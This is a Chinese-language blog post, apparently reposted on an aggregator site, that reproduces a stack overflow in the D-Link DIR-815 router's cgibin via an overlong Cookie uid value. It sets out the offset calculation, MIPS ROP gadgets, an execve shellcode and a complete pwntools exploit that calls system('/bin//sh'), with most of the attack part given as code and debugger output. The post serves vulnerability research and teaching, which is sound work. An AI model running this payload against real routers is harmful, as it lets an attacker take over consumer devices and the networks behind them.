路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析

Posted h4lo

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析相关的知识,希望对你有一定的参考价值。

这次笔者来复现一个比较经典的栈溢出漏洞:D-link dir-815 栈溢出。其实这个路由器的栈溢出漏洞的利用方式和之前 DVRF 靶机平台的栈溢出例子大同小异,只是需要注意下一些小的地方。

前言

这个栈溢出的原因是由于 cookie 的值过长导致的栈溢出。服务端取得客户端请求的 HTTP 头中 Cookie 字段中 uid 的值,格式化到栈上导致溢出。

漏洞分析

大体流程

首先还是先将 cgibin 加载到 IDA 中,定位到 sobj_get_string 函数。

在 sobj_get_string 函数中,取得 "uid=" 后的值

技术图片

sprintf($sp, 0x4E8+var_428,"%s/%s/postxml","/runtime/session",getenv("HTTP_COOKIE"))

在执行完 sprintf 函数后,在栈上已经产生了溢出

技术图片

将0x76FEE8CC 地址处的值赋值给 ra 寄存器

技术图片

在 jr $ra 时就触发了栈溢出

技术图片

  • 但是在真实的路由器环境中存在 /var/tmp/temp.xml 的文件,所以真正的可利用的栈溢出是位于 0x0040997C 处的 sprintf 函数

技术图片

最后在执行完函数之后,还是会触发这个栈溢出

技术图片

漏洞利用

这里还是使用 patternLocOffset.py 来生成一个填充文件

python patternLocOffset.py -c -l 1600 -f dir_815_overflow

但是注意在 string 的前面需要加上 "uid=",因为这里会执行 sobj_get_string("uid=") 函数,来取到参数 uid 的值,如果没有 uid 参数的话程序会直接结束

技术图片

同样执行 run.sh 脚本来动态调试

sudo ./run.sh "uid=1234" `cat dir_815_overflow` -d

在 0x00409A28 处下断点。
这里 ra 的值是 0x68423668,在 patternLocOffset.py 中确定偏移

技术图片

这里偏移是 1009

[email protected]:~/iot/tools$ python patternLocOffset.py -s 0x68423668 -l 1600
[*] Create pattern string contains 1600 characters ok!
[*] No exact matches, looking for likely candidates...
[+] Possible match at offset 1009 (adjusted another-endian)
[+] take time: 0.0301 s

所以我们构造

[email protected]:~/iot/firmware/dir-815/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ python -c "print 'uid='+'a'*1009+'\x78\x56\x34\x12'" > payload
[email protected]:~/iot/firmware/dir-815/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ sudo ./run.sh "uid=1234" `cat payload` -d

这里就成功控制了返回地址

技术图片

ROP 链的构造

关于 ROP 链的构造可以参考笔者的前几篇文章:

传送们:
https://www.anquanke.com/post/id/172126
https://www.anquanke.com/post/id/173362

  • 图片显示不出来的话可以挂个梯子。

同样的我们把 ROP 的构造分为两块:调用 sleep(1) 函数和调用 shellcode

获取基本信息

这里在本地使用 gdb-mul 工具,命令target remote :23946 连接上 gdbserver 之后,在 0x00409A28 出下断,使用 vmmap 查看区段的映射情况,找到 libc 的基地址 0x76738000

技术图片

之后找到 libc 文件,把他加载到 IDA 中。

技术图片

调用 sleep(1) 函数

这里为了更好展示和理解,画了一幅流程图,看确定在使用 mipsrop 工具下,各个 ROP 的调用顺序

技术图片

找到 sleep 函数的参数

先使用 "li $a0,1" 来寻找 rop,在 0x00057E50 处发现一条合适的指令。这里的 s1 寄存器设置成下一条 gadget 的地址。

技术图片

此时的 payload:

base_addr = 0x76738000

rop1 = 0x0003E524

padding = 'uid=' + 'a' * 973
padding += 'a' * 4                              # s0
padding += p32(base_addr + rop1)                # s1
padding += 'a' * 4                              # s2
padding += 'a' * 4                              # s3
padding += 'a' * 4                              # s4
padding += 'a' * 4                              # s5
padding += 'a' * 4                              # s6
padding += 'a' * 4                              # s7
padding += 'a' * 4                              # fp

rop2 = 0x00057E50

payload = padding + p32(base_addr + rop2)

接着使用 mipsrop.tail(),准备填充 ra 寄存器

技术图片

在指令 0x0003E528 处,可以看到 sp 和 ra 寄存器的距离为 0x24,所以这里的填充为 0x24,后面的四个字节就是 ra 寄存器的值(给 ra 寄存器赋值)

.text:0003E528                 lw      $ra, 0x28+var_4($sp)

这里需要跳转到 sleep 函数去执行,所以 s2 寄存器就填充为 sleep 函数的地址,ra 寄存器填充为下一个 gadget 的地址,这样就可以达到在执行完 sleep 函数刷新缓存的同时,执行 jr $ra 跳转到想到的地址。

这时的 payload:

base_addr = 0x76738000

sleep_addr = 0x00056BD0
rop1 = 0x0003E524

padding = 'uid=' + 'a' * 973
padding += 'a' * 4                              # s0
padding += p32(base_addr + rop1)                # s1
padding += p32(base_addr + sleep_addr)          # s2
padding += 'a' * 4                              # s3
padding += 'a' * 4                              # s4
padding += 'a' * 4                              # s5
padding += 'a' * 4                              # s6
padding += 'a' * 4                              # s7
padding += 'a' * 4                              # fp

rop2 = 0x00057E50

payload = padding + p32(base_addr + rop2)
  • 注意各个寄存器的位置

构造 shellcode

接着是使用 mipsrop.stackfinder() 查找 gadget,做好往栈上填充 shellcode 的准备

这里找到一条指令 ,我们可以往 $sp+0x18 的位置填充 shellcode,此时 a1 寄存器就存放着 shellcode 的地址

.text:0000B814                 addiu   $a1, $sp, 0x168+var_150

技术图片

最后使用 mipsrop.find("move $t9,$a1") 找到可以跳到到 a1 寄存器的指令。
找到 0x00037E6C 这里的 gadget,正好满足我们的需求。

技术图片

调用 shellcode 时的 payload:

rop3 = 0x0000B814               # mipsrop.stackfinder()

rop4 = 0x00037E6C               # mipsrop.find("move $t9,$a1")
payload += 'b' * 0x1c           # 上一步调用完 sleep 函数的填充(mipsrop.tail())
payload += p32(base_addr + rop4)                # s1
payload += 'b' * 4                              # s2     
payload += p32(base_addr + rop3)                # ra


shellcode = "\xff\xff\x06\x28"  # slti $a2, $zero, -1
shellcode += "\x62\x69\x0f\x3c"  # lui $t7, 0x6962
shellcode += "\x2f\x2f\xef\x35"  # ori $t7, $t7, 0x2f2f
shellcode += "\xf4\xff\xaf\xaf"  # sw $t7, -0xc($sp)
shellcode += "\x73\x68\x0e\x3c"  # lui $t6, 0x6873
shellcode += "\x6e\x2f\xce\x35"  # ori $t6, $t6, 0x2f6e
shellcode += "\xf8\xff\xae\xaf"  # sw $t6, -8($sp)
shellcode += "\xfc\xff\xa0\xaf"  # sw $zero, -4($sp)
shellcode += "\xf4\xff\xa4\x27"  # addiu $a0, $sp, -0xc
shellcode += "\xff\xff\x05\x28"  # slti $a1, $zero, -1
shellcode += "\xab\x0f\x02\x24"  # addiu;$v0, $zero, 0xfab
shellcode += "\x0c\x01\x01\x01"  # syscall 0x40404

payload += 'f' * 0x18       # mipsrop.stackfinder() 查找到的指令的填充值
payload += shellcode        # 放置 shellcode

在 gdb 中开启调试,发现最后成功跳转到 shellcode 的位置

技术图片

执行 shellcode

技术图片

但是这里不知道为什么无法会报错 Illegal instruction

技术图片

这里还可以使用调用 system 函数的方法来 getshell。

调用 syetem 函数的方法 getshell

我们的目的是执行 system("/bin/sh\x00"),这里的参数可以使用 mipsrop.stackfinder() 的 gadget 来把 "/bin/sh\x00" 传到栈上。之后将这个栈的位置传入 a0 寄存器,这样就达到了利用的目的

我们首先在 libc.so 中找到 system 函数的位置,在 0x00053200 处,显然地址的最低位是坏字节,没办法直接传入

技术图片

这里参考了《揭秘家用路由器0day漏洞挖掘技术》一书的方法:先将 system 函数的地址 -1 传入某个寄存器中,之后找到对这个寄存器进行加 +1 的操作的 gadget 进行调用即可将地址恢复到 0x53200。

具体操作

这里还是用流程图来表示 gadget 的生成过程:

技术图片

首先利用溢出把 0x53200 -1 传入 s0 寄存器,之后寻找 s0+1 的指令

Python>mipsrop.find("addiu $s0,1")
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x000158C8 | addiu $s0,1 | jalr $s5 |
| 0x000158D0 | addiu $s0,1 | jalr $s5 |
| 0x0002374C | addiu $s0,1 | jalr $fp |
| 0x0002D194 | addiu $s0,1 | jalr $s5 |
......
---------------------------------------

这里使用第一个 gadget ,指令的意思是直接跳到 s5 寄存器指向的地址,所以上一步溢出时需要事先把 s5 填充为下一个 gadget 的地址

技术图片

接着使用 mipsrop.stackfinder() 查找 gadget:

Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x0000B814 | addiu $a1,$sp,0x168+var_150 | jalr $s1 |
| 0x0000B830 | addiu $a1,$sp,0x168+var_B0 | jalr $s1 |
| 0x0000DEF0 | addiu $s2,$sp,0xC8+var_B8 | jalr $s4 |
| 0x00013F74 | addiu $s1,$sp,0x50+var_38 | jalr $s4 |
| 0x00014F28 | addiu $s1,$sp,0x50+var_38 | jalr $s4 |
| 0x000159CC | addiu $s5,$sp,0x170+var_160 | jalr $s0 |
......

选择 0x159cc 这个 gadget ,双击进入查看指令

技术图片

之所以选择这个 gadget 的原因是因为这里我们可以通过溢出,直接在栈上操纵 a0 寄存器

  • 或者这里也可以使用 mipsrop.system() 来查找 rop 链,这类的 gadget 指令的作用主要是将栈上可控的数据直接传递给 a0 寄存器,如下:
Python>mipsrop.system()
----------------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
----------------------------------------------------------------------------------------------------------------
| 0x00042F60 | addiu $a0,$sp,0x38+var_20 | jalr $a0 |
| 0x000567A0 | addiu $a0,$sp,0xA0+var_88 | jalr $s4 |
| 0x00027440 | addiu $a0,$sp,0x30+var_18 | jr 0x30+var_4($sp) |
| 0x000330F8 | addiu $a0,$sp,0x78+var_60 | jr 0x78+var_4($sp) |
| 0x00036360 | addiu $a0,$sp,0x48+var_30 | jr 0x48+var_4($sp) |
| 0x0003F8FC | addiu $a0,$sp,0x50+var_38 | jr 0x50+var_4($sp) |
| 0x00042F6C | addiu $a0,$sp,0x38+var_20 | jr 0x38+var_4($sp) |
----------------------------------------------------------------

之后通过 jalr $s0,这里的 s0 的值为原来 0x531ff+1 后复原的 system 地址的值,也就跳转到了 system("/bin//sh") 函数。

exp

#!/usr/bin/python
from pwn import *

context.endian="little"
context.arch="mips"

base_addr = 0x76738000

system_addr_1 = 0x53200-1
rop1 = 0x000158C8
rop2 = 0x159CC

padding = 'uid=' + 'a' * 973
padding += p32(base_addr + system_addr_1)                              # s0
padding += 'a' * 4                      # s1
padding += 'a' * 4                      # s2
padding += 'a' * 4                              # s3
padding += 'a' * 4                              # s4
padding += p32(base_addr+rop2)              # s5
padding += 'a' * 4                              # s6
padding += 'a' * 4                              # s7
padding += 'a' * 4                              # fp

padding += p32(base_addr + rop1)        # ra

#------------------------- stack 2 ----------------------------
padding += 'b' * 0x10
padding += '/bin//sh'

with open("call_system_padding",'wb') as f:
    f.write(padding)

f.close()

动态调试

依然是使用 gdb 在 0x00409A28 处下断点,第一步先跳转到对 s0 加一的 gadget 处

技术图片

之后跳转到 s5 寄存器的地址处,把 $sp + 0x10 处的地址传入 s5 寄存器,可以看到这里已经填充完成

技术图片

此时就跳转到了 system 函数,这样就获得了一个 shell。

技术图片

总结

路由器的栈溢出的漏洞点都比较单一,大多数都是由 sprintf 和 strcpy 等函数使用不当造成的。构造 ROP 的方法比较固定,只要对于 mipsrop 这个工具有个熟练的掌握和运用,在寻找 gadget 时脑回路清晰一些,利用的过程也不算太难。

以上是关于路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析的主要内容,如果未能解决你的问题,请参考以下文章

记一次漏洞挖掘网络安全

路由器漏洞挖掘方法

实战栈溢出:三个漏洞搞定一台路由器(转自长亭科技)

Linux堆内存管理深入分析 (上半部)

20155306 白皎 0day漏洞——漏洞利用原理之栈溢出利用

路由器漏洞挖掘之 DIR-850/645 命令执行漏洞复现